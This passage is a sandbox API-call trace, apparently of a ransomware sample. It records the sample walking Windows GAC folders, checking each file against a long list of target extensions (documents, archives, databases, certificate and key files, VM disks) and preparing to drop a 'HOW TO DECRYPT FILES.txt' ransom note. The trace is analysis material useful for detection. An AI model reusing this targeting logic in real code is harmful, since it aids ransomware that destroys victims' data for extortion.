(lpString="*.mp4") returned 5 [0100.260] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.ppt") returned 0 [0100.260] lstrlenA (lpString="*.ppt") returned 5 [0100.260] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.pptx") returned 0 [0100.260] lstrlenA (lpString="*.pptx") returned 6 [0100.260] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.doc") returned 0 [0100.260] lstrlenA (lpString="*.doc") returned 5 [0100.260] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.dot") returned 0 [0100.260] lstrlenA (lpString="*.dot") returned 5 [0100.260] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.docx") returned 0 [0100.261] lstrlenA (lpString="*.docx") returned 6 [0100.261] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.7z") returned 0 [0100.261] lstrlenA (lpString="*.7z") returned 4 [0100.261] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.tar") returned 0 [0100.261] lstrlenA (lpString="*.tar") returned 5 [0100.261] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.bz2") returned 0 [0100.261] lstrlenA (lpString="*.bz2") returned 5 [0100.261] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.gz") returned 0 [0100.261] lstrlenA (lpString="*.gz") returned 4 [0100.261] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.mkv") returned 0 [0100.261] lstrlenA (lpString="*.mkv") returned 5 [0100.261] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.eml") returned 0 [0100.261] lstrlenA (lpString="*.eml") returned 5 [0100.261] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.msg") returned 0 [0100.261] lstrlenA (lpString="*.msg") returned 5 [0100.261] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.edb") returned 0 [0100.261] lstrlenA (lpString="*.edb") returned 5 [0100.261] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.accdb") returned 0 [0100.261] lstrlenA (lpString="*.accdb") returned 7 [0100.261] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.odb") returned 0 [0100.261] lstrlenA (lpString="*.odb") returned 5 [0100.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.java") returned 0 [0100.262] lstrlenA (lpString="*.java") returned 6 [0100.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.asm") returned 0 [0100.262] lstrlenA (lpString="*.asm") returned 5 [0100.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.pfx") returned 0 [0100.262] lstrlenA (lpString="*.pfx") returned 5 [0100.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.pem") returned 0 [0100.262] lstrlenA (lpString="*.pem") returned 5 [0100.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.p12") returned 0 [0100.262] lstrlenA (lpString="*.p12") returned 5 [0100.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.gpg") returned 0 [0100.262] lstrlenA (lpString="*.gpg") returned 5 [0100.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.vsd") returned 0 [0100.262] lstrlenA (lpString="*.vsd") returned 5 [0100.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.odg") returned 0 [0100.262] lstrlenA (lpString="*.odg") returned 5 [0100.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.raw") returned 0 [0100.262] lstrlenA (lpString="*.raw") returned 5 [0100.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.nef") returned 0 [0100.262] lstrlenA (lpString="*.nef") returned 5 [0100.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.svg") returned 0 [0100.262] lstrlenA (lpString="*.svg") returned 5 [0100.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.psd") returned 0 [0100.263] lstrlenA (lpString="*.psd") returned 5 [0100.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.vmx") returned 0 [0100.263] lstrlenA (lpString="*.vmx") returned 5 [0100.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.vmdk") returned 0 [0100.263] lstrlenA (lpString="*.vmdk") returned 6 [0100.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.vdi") returned 0 [0100.263] lstrlenA (lpString="*.vdi") returned 5 [0100.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.lay6") returned 0 [0100.263] lstrlenA (lpString="*.lay6") returned 6 [0100.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.mpeg") returned 0 [0100.263] lstrlenA (lpString="*.mpeg") returned 6 [0100.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.djvu") returned 0 [0100.263] lstrlenA (lpString="*.djvu") returned 6 [0100.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.tiff") returned 0 [0100.263] lstrlenA (lpString="*.tiff") returned 6 [0100.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.backup") returned 0 [0100.263] lstrlenA (lpString="*.backup") returned 8 [0100.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.pdf") returned 0 [0100.263] lstrlenA (lpString="*.pdf") returned 5 [0100.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.cert") returned 0 [0100.263] lstrlenA (lpString="*.cert") returned 6 [0100.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.docm") returned 0 [0100.263] lstrlenA (lpString="*.docm") returned 6 [0100.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.xlsm") returned 0 [0100.264] lstrlenA (lpString="*.xlsm") returned 6 [0100.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.dwg") returned 0 [0100.264] lstrlenA (lpString="*.dwg") returned 5 [0100.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.nd") returned 0 [0100.264] lstrlenA (lpString="*.nd") returned 4 [0100.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.tlg") returned 0 [0100.264] lstrlenA (lpString="*.tlg") returned 5 [0100.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.lgb") returned 0 [0100.264] lstrlenA (lpString="*.lgb") returned 5 [0100.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.mov") returned 0 [0100.264] lstrlenA (lpString="*.mov") returned 5 [0100.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.xdw") returned 0 [0100.264] lstrlenA (lpString="*.xdw") returned 5 [0100.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.ods") returned 0 [0100.264] lstrlenA (lpString="*.ods") returned 5 [0100.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.wav") returned 0 [0100.264] lstrlenA (lpString="*.wav") returned 5 [0100.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.mp3") returned 0 [0100.264] lstrlenA (lpString="*.mp3") returned 5 [0100.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.aiff") returned 0 [0100.264] lstrlenA (lpString="*.aiff") returned 6 [0100.265] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.flac") returned 0 [0100.265] lstrlenA (lpString="*.flac") returned 6 [0100.265] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.m4a") returned 0 [0100.265] lstrlenA (lpString="*.m4a") returned 5 [0100.265] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", pszSpec="*.csv") returned 0 [0100.265] lstrlenA (lpString="*.csv") returned 5 [0100.265] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdaca3edc, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0xacec9500, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x4db8b965, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.dll", cAlternateFileName="")) returned 0 [0100.265] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0100.265] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819dda40, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819dda40, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6.1.0.0__31bf3856ad364e35", cAlternateFileName="610~1.0__")) returned 0 [0100.265] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0100.266] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x38308564, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x38308564, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x65737561, dwReserved1=0x6c6c642e, cFileName="Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources", cAlternateFileName="MIF71C~1.RES")) returned 1 [0100.266] lstrcmpA (lpString1=".", lpString2="Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources") returned -1 [0100.266] lstrcmpA (lpString1="..", lpString2="Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources") returned -1 [0100.266] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0100.266] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources" [0100.266] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources") returned 95 [0100.267] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x38308564, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x38308564, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0100.267] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.267] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x38308564, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x38308564, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.267] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.267] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.267] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef066a4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef066a4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1.0.0.0_en_31bf3856ad364e35", cAlternateFileName="100~1.0_E")) returned 1 [0100.267] lstrcmpA (lpString1=".", lpString2="1.0.0.0_en_31bf3856ad364e35") returned -1 [0100.267] lstrcmpA (lpString1="..", lpString2="1.0.0.0_en_31bf3856ad364e35") returned -1 [0100.267] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\*.*") returned="*.*" [0100.267] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\", lpString2="1.0.0.0_en_31bf3856ad364e35" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35" [0100.268] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35") returned 123 [0100.268] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef066a4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef066a4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0100.268] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.268] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef066a4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef066a4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.268] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.268] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.268] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf9a66, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcf9a66, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", cAlternateFileName="")) returned 1 [0100.268] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.268] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll") returned -1 [0100.268] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll") returned -1 [0100.268] lstrcmpiA (lpString1="", lpString2="Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll") returned -1 [0100.269] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\*.*") returned="*.*" [0100.269] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\" [0100.269] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\") returned="" [0100.269] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\", lpString2="HOW TO DECRYPT FILES.txt" | out: 